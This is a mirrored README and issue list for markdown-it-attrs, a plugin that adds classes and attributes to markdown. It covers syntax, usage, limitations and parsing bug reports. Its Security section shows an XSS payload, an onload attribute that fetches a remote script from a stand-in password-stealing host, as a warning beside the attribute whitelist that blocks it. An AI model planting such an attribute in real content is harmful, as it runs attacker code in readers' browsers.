Giter Site home page Giter Site logo

markdown-it-attrs's Introduction

markdown-it-attrs Build Status npm version Coverage Status

Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.

Table of contents

Examples

Example input:

# header {.style-me}
paragraph {data-toggle=modal}

Output:

<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>

Works with inline elements too:

paragraph *style me*{.red} more text

Output:

<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:


```python {data=asdf}
nums = [x for x in range(10)]
```

Output:

<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

You can use .. as a short-hand for css-module=:

Use the css-module green on this paragraph. {..green}

Output:

<p css-module="green">Use the css-module green on this paragraph.</p>

Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):

paragraph with [a style me span]{.red}

Output:

<p>paragraph with <span class="red">a style me span</span></p>

Install

$ npm install --save markdown-it-attrs

Support

Library is considered done from my part. I'm maintaining it with bug fixes and security updates.

I'll approve pull requests that are easy to understand. Generally not willing merge pull requests that increase maintainance complexity. Feel free to open anyhow and I'll give my feedback.

If you need some extra features, I'm available for hire.

Usage

var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs, {
  // optional, these are default options
  leftDelimiter: '{',
  rightDelimiter: '}',
  allowedAttributes: []  // empty array = all attributes are allowed
});

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);

demo as jsfiddle

Security

A user may insert rogue attributes like this:

![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

If security is a concern, use an attribute whitelist:

md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});

Now only id, class and attributes beginning with regex are allowed:

text {#red .green regex=allowed onclick=alert('hello')}

Output:

<p id="red" class="green" regex="allowed">text</p>

Limitations

markdown-it-attrs relies on markdown parsing in markdown-it, which means some special cases are not possible to fix. Like using _ outside and inside attributes:

_i want [all of this](/link){target="_blank"} to be italics_

Above example will render to:

<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>

...which is probably not what you wanted. Of course, you could use * for italics to solve this parsing issue:

*i want [all of this](/link){target="_blank"} to be italics*

Output:

<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

- list item **bold**{.red}

Output:

<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

- list item **bold** {.red}

Output:

<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

- list item **bold**
{.red}

Output:

<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

- item
  - nested item {.a}
{.b}

{.c}

Output:

<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see #32.

Similar for tables, attributes must be two new lines below:

header1 | header2
------- | -------
column1 | column2

{.special}

Output:

<table class="special">
  <thead>
    <tr>
      <th>header1</th>
      <th>header2</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>column1</td>
      <td>column2</td>
    </tr>
  </tbody>
</table>

If you need finer control, decorate might help you.

Custom rendering

If you would like some other output, you can override renderers:

const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx];
  return  '<pre' + slf.renderAttrs(token) + '>'
    + '<code>' + token.content + '</code>'
    + '</pre>';
}

let src = [
  '',
  '```js {.abcd}',
  'var a = 1;',
  '```'
].join('\n')

console.log(md.render(src));

Output:

<pre class="abcd"><code>var a = 1;
</code></pre>

Read more about custom rendering at markdown-it.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

Custom delimiters

To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

md.use(attrs, {
  leftDelimiter: '[',
  rightDelimiter: ']'
});

Which will render

# title [.large]

as

<h1 class="large">title</h1>

Development

Tests are in test.js.

Run all tests:

npm test

Run particular test:

npm test -- -g "not crash"

In tests, use helper function replaceDelimiters to make test run with different delimiters ({}, [] and [[]]).

For easy access to HTML output you can use debug.js:

node debug.js # will print HTML output

Please do not submit pull requests with changes in package version or built files like browser.js.

License

MIT © Arve Seljebu

markdown-it-attrs's People

Contributors

akrawchyk avatar arve0 avatar calaoa avatar connum avatar dependabot[bot] avatar dnotes avatar hipstersmoothie avatar jherdman avatar kbrock84 avatar kidonng avatar narazaka avatar rivy avatar schanzer avatar tlylt avatar valtlai avatar yndx-birman avatar zakkemble avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

markdown-it-attrs's Issues

Conflict with markdown-it-container

When using this plugin with markdown-it container all the attrs for the elements inside get's merged with the attrs for the container unless there are more than one level of nested containers.

If I set attrs for a container, it get's inserted on the container attrs array as expected. (needs custom render function but that's a bug for the container plugin)

Example input:

::: column {.is-8}
Lorem ipsum
:::

Current output:

<div class="column is-8">
<p>Lorem ipsum</p>
</div>

But if I set attrs on the child, the attrs are set on the container:

::: column {.is-8}
# Some title here {.title}

Lorem ipsum
:::

It outputs:

<div class="column is-8 title">
<h1>Some title here</h1>
<p>Lorem ipsum</p>
</div>

Expected output:

<div class="column is-8">
<h1 class="title">Some title here</h1>
<p>Lorem ipsum</p>
</div>

When using nested containers it works as expected

:::: columns {.is-mobile}
::: column {.is-8}

# lorem ipsum {.title}

more lorem ipsum

:::
::::

outputs:

<div class="is-mobile columns">
<div class="is-8 column">
<h1 id="lorem-ipsum" class="title">lorem ipsum</h1>
<p>more lorem ipsum</p>
</div>
</div>

Use with handlebars

Hello,

I'm using this plugin with Handlebars, with a syntax like "{{....}}", how can I update your plugin to avoid to parse when it starts by '{{' ?

Thanks in advance

Incorrect attribute assignment for multiple inline code blocks in a paragraph

These tests fail...

it('should work with multiple inline code blocks in same paragraph', () => {
  src = 'bla `click()`{.c} blah `release()`{.cpp}';
  expected = '<p>bla <code class="c">click()</code> blah <code class="cpp">release()</code></p>\n';
  assert.equal(md.render(src), expected);
});

it('should work with interleaved inline code blocks in same paragraph #1', () => {
  src = 'bla `click()` blah `release()`{.cpp} foo `repeat()`{.c}';
  expected = '<p>bla <code>click()</code> blah <code class="cpp">release()</code> foo <code class="c">repeat()</code></p>\n';
  assert.equal(md.render(src), expected);
});

it('should work with interleaved inline code blocks in same paragraph #2', () => {
  src = 'bla `click()` blah `release()`{.cpp} foo `repeat()`{.c} bar `end()`';
  expected = '<p>bla <code>click()</code> blah <code class="cpp">release()</code> foo <code class="c">repeat()</code> bar <code>end()</code></p>\n';
  assert.equal(md.render(src), expected);
});

Remap classes?

Is there a way to remap classes? For example:

## Heading {.foo}

Produces the following output (with a mapping {foo: 'bar'}

<h1 class="bar">Heading</h1>

My use case: I’d like to target different HTML slide frameworks with the same Markdown source. Each of those frameworks uses different CSS classes. Therefore, I’d define my own class names and map them to the class names of the frameworks.

table row attribute

hi, thanks for awesome library.

i'm facing this issue that the library doesn't support row and cell attribute

|header1| header2| {.headClass}
|---|---|
|1|2|
|3|4|{.rowClass}
|5|6|
{.tableClass}

should result to

<table class="tableClass">
    <thead class="headClass">
        <tr>
            <th>head1</th>
            <th>head2</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>1</td>
            <td>2</td>
        </tr>
        <tr class="rowClass">
            <td>3</td>
            <td>4</td>
        </tr>
        <tr>
            <td>5</td>
            <td>6</td>
        </tr>
    </tbody>
</table>

at the moment only the table class is supported. but I think it will be awesome if we can also apply attr on row level

Delimiter incorrectly detected

md.use(markdownItAttrs, {
    leftDelimiter: '{',
    rightDelimiter: '}'
});

let src = '# header {{{.style-me}}}\n';

md.render(src);

Current output:

<h1 class="style-me">header {{</h1>

Expected output:

<h1>header {{{.style-me}}}</h1>

Include minified version

Would be good to have a minified version. IE doesn't support arrow functions used in index.js file. I need to transpile it using babel which is not an issue. But having a minified version included would be even better.

Forking

Hey @arve0! I'm hoping to continue a fork of markdown-it-attrs with a slightly different goal: style elements using HTML comments instead of text nodes. That is:

> This is a blockquote that's styled.
<!--{.center}-->

I've started this over at https://github.com/rstacruz/markdown-it-decorate. Let me know if you're not cool with it, but I really hope you are.

Make NPM module compatible with ES5

Currently running this module through webpack production mode causes errors unless specifically processed (e.g. with Babel). This is due to the use of the let keyword rather than var without preprocessing the module before posting to NPM.

Not critical, but would be super nice!

Ambiguity with nested lists

- item
  - nested
  {.red}
{.blue}

gives

<ul>
<li>item
<ul class="blue red">
<li>nested</li>
</ul>
</li>
</ul>

and not what one might expect

<ul class="blue">
<li>item
<ul class="red">
<li>nested</li>
</ul>
</li>
</ul>

how to escape {...} as plain text?

It seems everything between {...} is parsed as attributes. So how can I render plain text like 'Text = {a b}' ?

This is only rendered as Text = now.

support delimiters with length above 1

Setup:

md.use(attrs, {
  leftDelimiter: '{{{',
  rightDelimiter: '}}}'
})

Markdown:

this is the markdown I'm trying to parse {{{.replace-me}}}

Current output:

<p>this is the markdown I'm trying to parse {{{.replace-me}}}</p>

Expected output:

<p class="replace-me">this is the markdown I'm trying to parse</p>

setting options requires one setting all options

Code to reproduce:

const md = require('markdown-it')();
const markdownItAttrs = require('./');

md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});

let src = 'asdf *asd*{.c} khg';

let res = md.render(src);

console.log(res);  // eslint-disable-line

Current result: Throws error

/Users/arve/git/markdown-it-attrs/utils.js:227
  return s.replace(/[-/\\^$*+?.()|[\]{}]/g, '\\$&');
           ^

TypeError: Cannot read property 'replace' of undefined
    at Object.escapeRegExp (/Users/arve/git/markdown-it-attrs/utils.js:227:12)
    at module.exports.options (/Users/arve/git/markdown-it-attrs/patterns.js:11:35)
    at Function.attributes (/Users/arve/git/markdown-it-attrs/index.js:16:20)
    at MarkdownIt.use (/Users/arve/git/markdown-it-attrs/node_modules/markdown-it/lib/index.js:496:10)
    at Object.<anonymous> (/Users/arve/git/markdown-it-attrs/debug.js:5:4)
    at Module._compile (internal/modules/cjs/loader.js:689:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:700:10)
    at Module.load (internal/modules/cjs/loader.js:599:32)
    at tryModuleLoad (internal/modules/cjs/loader.js:538:12)
    at Function.Module._load (internal/modules/cjs/loader.js:530:3)

Expected result: Should not throw error.

Reported in https://github.com/kidonng/markdown-it-attrs/pull/1

second curly braces removed

Wiki.JS are using your package. I was having issues with the math function and tracked it back to when your package is used and I enter {1}{2}, it removes the second curly braces.
Is there some way to fix this in your package?
Example input:

{1}{2}

Current output:

{1}

Expected output:

{1}{2}

Support for multiple classes or attribute values

When using this extension I have found that single classes work, but I have code that may need more than one css class or attribute value. when testing this module(btw awesome) it works with single classes beautifully, but when i attempted to associate a second css class it broke both the initial class and the secondary. There may be a way to do this and I am still exploring... but it would be very nice to have this feature.

Example input:

# hello {.jumbotron .text-primary}
# hello {.jumbotron.text-primary}

Current output:

<h1>hello</h1>

Expected output:

<h1 class="junbotron text-primary">hello</h1>

if this even accomplished by

# hello {.jumbotron}{.text-primary}

would work great too...

Change Logs?

Hi! Would it be possible to introduce either a change log or release notes? It's hard to tell what, if anything, has changed, and if I need to take any actions to upgrade my code.

jstransformer -how

I use markdown via jstransformer-marked, so I can use it from pug v2.x.

Can I use markdown-it-attrs with jstransformer? If not, how would I include markdown-it-attrs so it works with Pug.js includes?
Is there an example?

how can I set to ignore content have flag "{" "}"

if content have {and}。And there is something in it。markdown-it-attrs will parse it and add the atts.But some { and } in my content,I don't want to parse it。how can I do with it。I have example below:

Example input:

### API说明{id="api"}

| 属性名      | 描述        | 类型      | 是否必填 | 默认          |
| -------- | ----------- | ------- | ---- | ----------- |
| disabled | 是否禁用按钮{v,b} | Boolean | 不必填  | false       |

Current output:

<h3 id="api">API说明</h3>  <!-- notice 1 -->
<table>
    <thead>
        <tr>
            <th>属性名</th>
            <th>描述 </th>
            <th>类型</th>
            <th>是否必填</th>
            <th>默认</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>disabled</td>
            <td v,b="">是否禁用按钮</td>  <!-- notice 2 -->
            <td>Boolean</td>
            <td>不必填</td>
            <td>false</td>
        </tr>
    </tbody>
</table>

Expected output:

<h3 id="api">API说明</h3>  <!-- This is right -->
<table>
    <thead>
        <tr>
            <th>属性名</th>
            <th>描述 </th>
            <th>类型</th>
            <th>是否必填</th>
            <th>默认</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>disabled</td>
            <td>是否禁用按钮{v,b} </td>  >!-- This is wrong.I want to display text {v,b}。and no attributes added -->
            <td>Boolean</td>
            <td>不必填</td>
            <td>false</td>
        </tr>
    </tbody>
</table>

test case:

const markdown = require('markdown-it');
const markdownItAttr = require('markdown-it-attrs');

function testMd() {
    const md = markdown({
        html: true,
        typographer: true
    }).use(markdownItAttr);
    let apiTpl = `
### API说明{id="api"}

| 属性名      | 描述        | 类型      | 是否必填 | 默认          |
| -------- | ----------- | ------- | ---- | ----------- |
| disabled | 是否禁用按钮{v,b} | Boolean | 不必填  | false       |

`
    let apiHtml = md.render(apiTpl);
    console.log(apiHtml)
}

testMd()

var char cause issue whith yui compressor

Hello,

in exports.getAttrs you have a variable called char.
I didn't dig to understand why but the fact is that when you use YUI compressor on your file, this make him stop with error.
Renaming your variable character (or whatever you find suitable) fix this issue.

Attributes for code fences

I'm trying to use markdown-it-attrs with a code fence / code block. I'm passing a custom highlight function to markdown-it. See https://github.com/simondean/markdown-it-issues/blob/master/highlight-attrs/index.js for some example code and https://github.com/simondean/markdown-it-issues/blob/master/highlight-attrs/index.html for the HTML that's produced. I've also included copies of the markdown and HTML output below.

It looks markdown-it-attrs is injecting attributes into the HTML when I don't use a custom 'highlight' function but as soon as I add the custom highlight function, markdown-it-attrs is no longer able to inject attributes.

Looking at the source code in https://github.com/markdown-it/markdown-it/blob/master/lib/renderer.js#L39 the built-in fence has functionality that makes it work with an extension like markdown-it-attrs (e.g. it has access to the current token and can call the slf.renderAttrs method but that functionality isn't accessible to a custom highlight function.

Example input:

# Example

```javascript {.some-class}
function helloWorld() {
  return 'Hello, World!';
}

Current output

<h1>Example</h1>
<pre class="highlight tab tab-javascript"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">helloWorld</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-string">'Hello, World!'</span>;
}
</code></pre>

Expected output

The expected output is the same as the current output, except for the addition of the some-class class on the pre tag.

<h1>Example</h1>
<pre class="highlight tab tab-javascript some-class"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">helloWorld</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-string">'Hello, World!'</span>;
}
</code></pre>

Cannot read property 'attrJoin' of undefined

If we use an inline markdown with the markdown-it-attrs syntax such as:
This is a *bold*{.btn} paragraph

We're getting this error:

exports.addAttrs = function (attrs, token) {
  for (let j = 0, l = attrs.length; j < l; ++j) {
    let key = attrs[j][0];
    if (key === 'class') {
      token.attrJoin('class', attrs[j][1]);
    } else if (key === 'css-module') {
      token.attrJoin('css-module', attrs[j][1]);
    } else {
      token.attrPush(attrs[j]);
    }

Found in:
node_modules/markdown-it-attrs/utils.js

Looks like it might be related to issue: #90 as if it's not a 'class' key then the else statement is executed resulting in the 'Cannot read property 'attrPush' of undefined' error

Attributes to images

Hi, I'd like to add some atributes to images but it doesn't work. Not sure whether is a markdown-it-attrs issue or I'm doing something wrong.
Thanks!

Example input:

![Alt text](image.jpg){.image}

Current output:

<p class="image"><img src="image.jpg" alt="Alt text"></p>

Expected output:

<p><img src="image.jpg" alt="Alt text" class="image"></p>

With this plugin enabled, how do I write {} in my document?

I need to write {} which in mathematics can refer to an "empty set", but with this plugin enabled it interprets it as an attribute definition and then does nothing with it (since there is no class, id, etc, defined within {}).

Doing "{}" works but then I have " and " which I don't want.

Doing \{}\ works but only the first slash is invisible.

\{\} doesn't work.

Bower Package?

Would it be possible to make this plugin available to Bower as well? Ideally as an AMD package.

Available attributes whitelist

Do you intend to add support to the library so that a whitelist of allowed attributes can be defined for the tool?

I would like to limit users from defining on-load and other script style attributes, and found that it would be easier to only allow the set that we know of that the users want instead of trying to search for the full set that we don't want them to use.

markdown-it-highlight lines conflict

I am using this with markdown-it-highlight lines. I transform everything into jsx for my app. When writing:

```js{2}
```

this plugin adds 2="" to the code element. Which is invalid html and causes errors.

Is there any way to turn off this plugin for code blocks? Or an option to configure the {} characters? If I could change them to [] I think everything would work.

Styling a element with several CSS classes

Hi,
I am trying to use this in tui.editor within a Gollum installation, I have already written a render layer for Gollum which mimics markdown-it-attrs behaviors. Something that makes me wonder is some inconsistencies when having several classes on an element.

Example input:

1.this is the markdown I'm trying to parse {.note .green}
2.this is the markdown I'm trying to parse {.note.green}

Current output:

<p class="note green">1.this is the markdown I'm trying to parse</p>
<p>2.this is the markdown I'm trying to parse</p>

Expected output:

<p class="note green">1.this is the markdown I'm trying to parse</p>
<p class="note green">2.this is the markdown I'm trying to parse</p>

Won't you agree that both should render the same way? I mean why not allowing the shorthand .warning.green instead of .warning .green? and why it completely eats .note.green?

Thanks
/Reza

= in attribute value are removed

When including an = in the value of an attribute, the = is parsed out. Different escaping mechanisms were ignored (link='...' and \=).

Example input:

**Bold Link** {link=/some/page/in/app/id=1}

Current output:

<p link="/some/page/in/app/id1"><strong>Bold Link</strong></p>

Expected output:

<p link="/some/page/in/app/id=1"><strong>Bold Link</strong></p>

If typographer enabled, quoted values don't work

When MarkdownIt is run with { typographer: true} to enable typographic replacements, quotes (") are replaced with “”. This seems to break the attribute parser.

E.g. For this test content:

Test{key1="a value with spaces"}

With typographer disabled, the result is correct:

<p key1="a value with spaces">Test</p>

With typographer enabled, the result is:

<p key1="“a" value="" with="" spaces”="">Test</p>

For inline elements?

Is it possible to add attrs to an inline element? eg:

[Contact us](/contact) {.btn}

` (code) inline handling

If an attribute specification occurs inside a ` delimeted inline chunk at the end of a line markdown-it-attrs will pick it up.

I.e. if I do something like this something{.example}

The result would be something like...

<p class="example">
"I.e. if I do something like this "
<code>something</code>
</p>

I believe this is a bug :). It is possibly related to issue #13.

Attributes for spans?

Pandoc supports the following syntax:

[This is *some text*]{.class key="val"}

It’d be lovely to have that as an option.

p inside blockquote gets the class

Hey @arve0,

I really like your packages, it works perfectly. 👍

I only discovered one little issue: When trying to add a class to a blockquote it only adds the class the to p inside, but not to the surrounding blockquote.

> some quote
{.o-column--md-13 .o-column--offset-md-3}

I would expect the output to be:

<blockquote class="o-column--md-13 o-column--offset-md-3">
   <p>some quote</p>
</blockquote>

However, the actual result is:

<blockquote>
   <p class="o-column--md-13 o-column--offset-md-3">some quote</p>
</blockquote>

Problem with italic formatting via underscore and underscore in attributes

There is an issue when a whole link with an attribute containing an underscore is wrapped in bold and italic (or just italic) and the italic formatting is done by an underscore instead of three asterisks.

**_[link](https://github.com){target="_blank"}_**

is rendered as _link{target="blank"}

<strong>_<a href="https://github.com">link</a>{target="<em>blank"}</em></strong>

Expected output:

<em><strong><a href="https://github.com" target="_blank">link</a></strong></em>

and

_[link](https://github.com){target="_blank"}_

is rendered as _link{target="blank"}

_<a href="https://github.com">link</a>{target="<em>blank"}</em>

Expected output:

<em><a href="https://github.com" target="_blank">link</a></em>

However, if you switch the bold and italic formatting, it works as supposed to:

_**[link](https://github.com){target="_blank"}**_

Shorthand for common attributes?

If one were to settle on a shorthand convention for common attributes, what would make the most sense?

I'm thinking something like {@name %data $title}, and I realize that name and title at least can pose further issues because the rules for those values are loose.

Does this sound practical/worth doing?

Crashes UglifyJS

We're using the latest package in a project and during the uglify build step, UglifyJS crashes because of index.js. Seems that built index.js still has let instead of var.

Specifically this line in index.js is causing the error:

    let tokens = state.tokens;

Doesn't work with tables

I can't seem to get this to work with tables.

Is there any way to add a class to a markdown table?

Options object for custom types

Currently, it's impossible to apply attributes to types that are not hardcoded. I tried to implement my self this feature but i think it needs a bit of re-do and i don't fully understand what this plugin does internally :(

My idea is, pass an option object, like this:

md.use(MarkdownItAttrs, {
  sample: 'block', // "sample" type, which is a block
  abbr: 'inline', // "abbr" type, which is inline
})

This way, we can have inside curlyAttrs() something like this:

if (opts) {
  if (opts[tokens[i].type] && hasCurly(tokens[i].info)) {
    // At this point, the token is custom and the type also contains attributes
    // Here we also know if its inline or block, by just checking opts[tokens[i].type]
  }
}

But here i don't even know how to continue. Hardcoding the code (copying code from fence block you added lately) will work, but only for block elements and it's not much flexible.

My idea is, re-factoring this into 2 functions, parseAsInline and parseAsBlock. This two functions will accept the type, and simply return the element with the attributes added correctly. This way you can simply do:

if (opts) {
  if (opts[tokens[i].type] && hasCurly(tokens[i].info)) {
    if (opts[tokens[i].type] === 'block') return parseAsBlock(tokens[i], tokens[i].info)
    return parseAsInline(tokens[i], tokens[i].info)
  }
}

This of course can be also done with 1 simple function like parseElement(type, element, attrs)

parseElement(opts[tokens[i].type], tokens[i], tokens[i].info)

This will make this plug-in fully compatible with other plug-ins that create custom types. I currently have https://github.com/felixsanz/markdown-it-samp, which creates a <pre><samp> element (similar to fenced but samp instead of code).

What do you think of this? I'm sorry that i could not provide a pull request with this implemented, i'm still learning the internals of markdown-it and my implementation will have a lot of bugs...

Thanks

window.markdownItAttrs instead of window.markdownitAttrs

This is a pretty silly note, but, by convention from the packages I've used, the pattern for browser includes is to attach to window with your package name improperly concatenated where markdown-it becomes markdownit all lower case. So window.markdownitAttrs would be consistent with every other package I've seen, even though window.markdownItAttrs would seem more "correct".

Adding classes to <pre> in fenced code blocks

Current implementation adds attributes to code element in code fences. Is it possible to also add it to pre element? I'm trying to use code-highlight plugin for prismjs and it expects a certain attribute -- containing the line numbers to highlight -- to be set in pre element.

Any workaround for this?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.